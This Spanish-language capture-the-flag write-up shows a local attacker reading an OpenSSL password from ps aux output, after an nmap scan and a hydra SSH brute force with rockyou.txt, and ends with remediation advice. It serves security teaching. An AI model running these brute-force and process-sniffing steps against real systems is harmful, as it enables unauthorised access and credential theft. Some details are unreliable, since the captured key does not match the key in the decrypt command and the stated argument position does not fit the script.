Descripción del laboratorio
Un sistema de "anti-reversing" cifra automáticamente la flag 5 minutos después de arrancar y rota la contraseña cada 2 minutos. El objetivo: recuperar la flag usando análisis dinámico bajo presión de tiempo antes de que sea demasiado tarde.
ghost + "Self-destruct ARMED"monkeyContexto: argumentos CLI y secretos expuestos
Cuando un programa recibe una contraseña como argumento de línea de comandos,
esa información queda registrada en /proc/<PID>/cmdline
y es visible para todos los usuarios del sistema
mediante ps aux:
# Contraseñas visibles en ps aux — ejemplos reales mysql -u root -pmysecretpassword openssl enc -k s3cr3tpass -in file.txt sshpass -p mypassword ssh user@host curl -u user:apikey123 https://api.example.com
Esta es una vulnerabilidad real que aparece en scripts de despliegue, cron jobs, y aplicaciones que pasan credenciales como argumentos en lugar de usar métodos seguros.
Explotación paso a paso
nmap -sV -p- --min-rate 3000 <LAB_IP>
PORT STATE SERVICE VERSION 2222/tcp open ssh OpenSSH 7.9p1 Debian
Solo SSH. Pero el banner ya nos advierte de algo inusual.
ssh guest@<LAB_IP> -p 2222
GhostLabs Anti-Reversing System v3.0
Self-destruct protocol: ARMED
Contact: ghost (security researcher)
guest@<LAB_IP>'s password:
El banner revela el usuario ghost y algo más importante:
"Self-destruct protocol: ARMED".
El tiempo es un factor crítico.
hydra -l ghost -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
[2222][ssh] host: <LAB_IP> login: ghost password: monkey
ssh ghost@<LAB_IP> -p 2222
GhostLabs ARS v3.0 — Self-destruct protocol ARMED All sensitive data will be automatically encrypted.
ls /tmp/
Según el momento:
| Estado de /tmp | Tiempo transcurrido | Acción |
|---|---|---|
| flag.txt visible | < 5 minutos | ¡Leer inmediatamente! (Path A) |
| flag.enc visible | > 5 minutos | Análisis dinámico necesario (Path B) |
cat /var/log/antireversing.log
[00:00:01] Daemon iniciado. El protocolo comenzara en 5 minutos. [00:05:01] Iniciando protocolo de cifrado de seguridad... [00:05:06] Cifrado completado. Archivo original eliminado. [00:07:06] Iniciando rotacion de clave... [00:07:12] Rotacion completada. Nueva clave activa.
El log confirma: rotación cada ~2 minutos, empezando a los 7 min del arranque.
ps aux
root 1 /bin/bash /start.sh root 12 /usr/sbin/sshd -D root 45 /bin/bash /usr/local/bin/antireversing.sh
El daemon corre como root.
cat /usr/local/bin/do_encrypt.sh
#!/bin/bash
KEY="$1" # <-- CONTRASEÑA COMO ARGUMENTO
INPUT="$2"
OUTPUT="$3"
DELAY=5
sleep "$DELAY" # <-- PERMANECE VIVO 5 SEGUNDOS
openssl enc -aes-256-cbc -k "$KEY" -pbkdf2 -in "$INPUT" -out "$OUTPUT" 2>/dev/null
La contraseña se pasa como $1 (argumento de línea de comandos).
El sleep 5 mantiene el proceso vivo durante 5 segundos.
Durante ese tiempo, cualquier usuario puede verla en ps aux.
cat /tmp/flag.txt
Válido, pero el aprendizaje real está en el Path B.
Configuramos un monitor que sondea ps aux cada 100ms
esperando que aparezca do_encrypt.sh:
# Opción 1 — bucle while
while true; do
ps aux | grep -v grep | grep do_encrypt
sleep 0.1
done
Imagen real del terminal ejecutando el monitor (bucle while):
⚠ PROBLEMA DETECTADO: El bucle no muestra contraseña — el proceso termina antes de que se registre con argumentos visibles. Esto puede ocurrir si el proceso arranca y termina muy rápido, o si solo ves el PID padre. Esto es lo que te pasó a ti.
# Opción 2 — watch con refresco 100ms
watch -n 0.1 "ps aux | grep do_encrypt | grep -v grep"
Esperamos el próximo ciclo de rotación (~2 min). Cuando ocurre, veremos algo así:
Imagen real del terminal cuando se captura el proceso con la contraseña visible:
Contraseña capturada: La contraseña aparece como el 4º argumento tras do_encrypt.sh. En tu caso:
La clave capturada en tu sesión fue: 936d93b9233f19c4
¿Por qué en la imagen 1 no veías la contraseña? El bucle while del primer intento (imagen 1) terminó sin mostrar nada porque el proceso do_encrypt.sh apareció brevemente sin exponer sus argumentos, o el monitor no estaba corriendo en el momento exacto del ciclo. En la imagen 2 ya la capturaste correctamente — el problema era que no ejecutaste el paso de descifrado inmediatamente.
openssl enc -d -aes-256-cbc -k a1b2c3d4e5f6a7b8 -pbkdf2 -in /tmp/flag.enc
¿Por qué funciona?
| Elemento | Descripción |
|---|---|
| KEY="$1" | La contraseña se recibe como arg posicional del script wrapper |
| sleep 5 | El wrapper permanece en memoria 5 segundos antes de cifrar |
| ps aux | Muestra los args de TODOS los procesos para cualquier usuario del sistema |
| /proc/PID/cmdline | Alternativa: cat /proc/$(pgrep do_encrypt)/cmdline | tr '\0' ' ' |
Métodos para pasar secretos — comparativa:
| Método | Visible en ps aux | Ejemplo |
|---|---|---|
| -k $PASS (CLI) | SI — vulnerable | openssl enc -k mysecret |
| -pass file:/path | NO — seguro | openssl enc -pass file:/tmp/key |
| -pass stdin | NO — seguro | echo $P | openssl enc -pass stdin |
Herramienta alternativa: inotifywait
En lugar de sondear ps aux, también se puede monitorizar el filesystem
con inotifywait (preinstalado en el sistema):
inotifywait -m /tmp -e create -e close_write --format '%w%f' \
| while read FILE; do
echo "[+] Nuevo fichero: $FILE"
cat "$FILE" 2>/dev/null
done
Monitoriza cualquier fichero que aparezca o sea modificado en /tmp/.
Útil como técnica alternativa de análisis dinámico.
Remediación
# VULNERABLE: contraseña visible en ps aux openssl enc -aes-256-cbc -k "$PASS" -pbkdf2 -in input -out output # SEGURO — via fichero temporal con permisos restrictivos KEYFILE=$(mktemp) chmod 600 "$KEYFILE" echo "$PASS" > "$KEYFILE" openssl enc -aes-256-cbc -pass "file:$KEYFILE" -pbkdf2 -in input -out output rm -f "$KEYFILE" # SEGURO — via stdin (sin fichero temporal) printf '%s' "$PASS" | openssl enc -aes-256-cbc -pass stdin -pbkdf2 -in input -out output
Herramientas utilizadas
| Herramienta | Uso |
|---|---|
| nmap | Descubrimiento del puerto SSH |
| ssh | Banner pre-autenticación + acceso inicial |
| hydra | Fuerza bruta SSH con rockyou.txt |
| ps aux / watch | Monitorización de procesos en tiempo real |
| openssl | Descifrado AES-256-CBC con contraseña interceptada |
| inotifywait | Monitorización de eventos de filesystem (método alternativo) |